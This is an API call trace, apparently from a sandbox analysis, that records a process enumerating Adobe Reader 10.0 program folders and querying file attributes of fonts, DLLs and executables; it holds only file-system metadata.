	[0054.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc"), fInfoLevelId=0x0, lpFileInformation=0x12858378 | out: lpFileInformation=0x12858378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.512] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.512] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1
	[0054.512] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.512] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858418 | out: lpFileInformation=0x12858418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4)) returned 1
	[0054.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), fInfoLevelId=0x0, lpFileInformation=0x12858468 | out: lpFileInformation=0x12858468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190)) returned 1
	[0054.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d"), fInfoLevelId=0x0, lpFileInformation=0x128584b8 | out: lpFileInformation=0x128584b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798)) returned 1
	[0054.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), fInfoLevelId=0x0, lpFileInformation=0x12858508 | out: lpFileInformation=0x12858508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4)) returned 1
	[0054.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe"), fInfoLevelId=0x0, lpFileInformation=0x12858558 | out: lpFileInformation=0x12858558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98)) returned 1
	[0054.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\rt3d.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rt3d.dll"), fInfoLevelId=0x0, lpFileInformation=0x128585a8 | out: lpFileInformation=0x128585a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90)) returned 1
	[0054.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\sqlite.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\sqlite.dll"), fInfoLevelId=0x0, lpFileInformation=0x128585f8 | out: lpFileInformation=0x128585f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90)) returned 1
	[0054.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\wow_helper.exe"), fInfoLevelId=0x0, lpFileInformation=0x12858648 | out: lpFileInformation=0x12858648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98)) returned 1
	[0054.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource"), fInfoLevelId=0x0, lpFileInformation=0x12858698 | out: lpFileInformation=0x12858698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.515] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1
	[0054.519] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.519] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont"), fInfoLevelId=0x0, lpFileInformation=0x12858918 | out: lpFileInformation=0x12858918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.522] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="ADOBEG~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="ADOBEM~2.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="ADOBEM~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="ADOBES~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="KOZGOP~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 1
	[0054.523] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.523] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858be8 | out: lpFileInformation=0x12858be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434)) returned 1
	[0054.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858c38 | out: lpFileInformation=0x12858c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638)) returned 1
	[0054.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858c88 | out: lpFileInformation=0x12858c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0)) returned 1
	[0054.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858cd8 | out: lpFileInformation=0x12858cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508)) returned 1
	[0054.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858d28 | out: lpFileInformation=0x12858d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4)) returned 1
